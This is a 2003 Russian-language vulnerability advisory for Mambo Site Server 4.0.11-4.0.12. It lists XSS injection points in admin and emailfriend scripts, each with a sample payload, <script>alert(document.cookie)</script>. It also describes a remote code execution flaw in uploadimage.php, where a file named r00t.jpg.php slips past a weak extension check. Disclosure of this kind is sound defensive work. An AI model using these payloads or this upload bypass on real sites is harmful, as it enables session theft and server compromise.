Security Lab

Множественные уязвимости в Mambo Site Server

Дата публикации:14.01.2003
Всего просмотров:1756
Опасность:
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Описание: Mambo Site Server – портальная Web система, написанная на PHP. В программе обнаружено несколько уязвимостей, включая XSS уязвимость и удаленное выполнение кода с привилегиями сервера. 1. XSS существует в следующих файлах: 
administrator/popups/sectionswindow.php
(type=web&link="<script>alert(document.cookie)</script>

	administrator/gallery/gallery.php
(directory="<script>alert(document.cookie)</script>)

	administrator/gallery/navigation.php
(directory="<script>alert(document.cookie)</script>)

	administrator/gallery/uploadimage.php
(directory="<script>alert(document.cookie)</script>)

	administrator/gallery/view.php
(path="<script>alert(document.cookie)</script>)

	administrator/upload.php
(newbanner=1&choice="<script>alert(document.cookie)</script>)

	themes/mambosimple.php
(detection=detected&sitename=</title><script>alert(document.cookie)</script>
)

	upload.php (type="<script>alert(document.cookie)</script>)
	
	emailfriend/emailarticle.php (id="<script>alert(document.cookie)</script>)

	emailfriend/emailfaq.php (id="<script>alert(document.cookie)</script>)

	emailfriend/emailnews.php (id="<script>alert(document.cookie)</script>)
2. Удаленное выполнение произвольного кода обнаружено в сценарии uploadimage.php в административном каталоге: 
administrator/gallery/uploadimage.php
Этот файл позволяет любым удаленным пользователям загружать 'изображения' на сервер, не проверяя разрешения и осуществляя слабую проверку расширения файла. Атакующий может обмануть эту проверку и загрузить файл с именем типа r00t.jpg.php.

Уязвимость обнаружена в Mambo Mambo Site Server 4.0.11-4.0.12

Ссылки: Mambo Site Server Remote Code Execution